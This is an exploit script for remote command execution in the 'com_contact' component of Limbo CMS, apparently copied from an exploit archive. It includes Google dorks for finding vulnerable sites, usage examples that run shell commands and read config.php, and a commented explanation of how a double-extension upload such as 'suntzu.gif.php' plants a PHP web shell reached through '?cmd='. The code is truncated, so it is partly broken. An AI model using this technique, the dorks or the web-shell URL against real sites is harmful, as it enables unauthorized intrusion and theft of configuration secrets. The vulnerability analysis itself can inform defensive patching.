Limbo CMS remote code execution exploit in "com_contact" component allows attackers to upload arbitrary PHP code as attachment filenames, and then launch commands through a crafted URL

Code

                                                #!/usr/bin/php -q -d short_open_tag=on

Limbo <= 1.0.4.2L "com_contact" remote commands execution exploit
by rgod [email protected]
site: http://retrogod.altervista.org
dorks: inurl:contact inurl:Itemid inurl:option attachment "Enter your name:"
       intext:"site powered by limbo"
-----------------------------------------------------------------------------
');
if ($argc<3) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path itemid cmd OPTIONS
host:      target server (ip/hostname)
path:      path to Limbo
itemid:    a number, check [*] or [**]
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 2.2.2.2 /limbo/ 43 ls -la -P1.1.1.1:80
php '.$argv[0].' 1.1.1.1 / 3 cat ./../../config.php -p81
-----------------------------------------------------------------------------
');
die;
}
/*
explaination:
there are some upload scripts in default installation, check:

[*]  http://target/path_to_limbo/index.php?Itemid=43&option=contact
[**] http://target/path_to_limbo/index.php?Itemid=3&option=contact

and there is a vulnerable function in /components/com_contact/contact.html.php near lines 69-73:

...
function file_ext($file)
{
  $ext = explode(".", $file);
  return strtolower($ext[1]); //[!!!!!!] <-------------------------------------------
}
...

now look at /components/com_contact/contact.php
...
switch ( $task )
{
case "post":
        {
        $abs_dir = $lm_absolute_path."images/contact/";
        $web_dir = $lm_website."images/contact/";
        if (!is_dir($abs_dir)) mkdir($abs_dir);
        $valid_ext = array(
                "jpg",
                "png",
                "gif",
                "doc",
                "xls"
                );

        if ($_FILES['contact_attach']['name']!="")
        {
            $tmp_name = $_FILES['contact_attach']['tmp_name'];
            $name = $_FILES['contact_attach']['name'];
            $ext = file_ext($name); // [!] <-----------------------------------
            if(!in_array($ext,$valid_ext)) // [!!] <-----------------------------------
                { ?>
                    <script language="JavaScript" type="text/javascript">
                     alert("<?php echo _MESSAGE_ATTACH_INVALID; ?>");
                     window.history.go(-1);
                     </script>
                     <?php
                }else{
             @move_uploaded_file($tmp_name, $abs_dir.$name); // [!!!!] <-----------------------------------
             $contact_text.=" ("._MESSAGE_ATTACH.$web_dir.$name.")";
             }
        }
...

but what happen if the attachment filename is like suntzu.gif.php ?

You can upload arbitrary php code, then u launch commands:

http://[target]/[path]/images/contact/suntzu.gif.php?cmd=ls%20-la
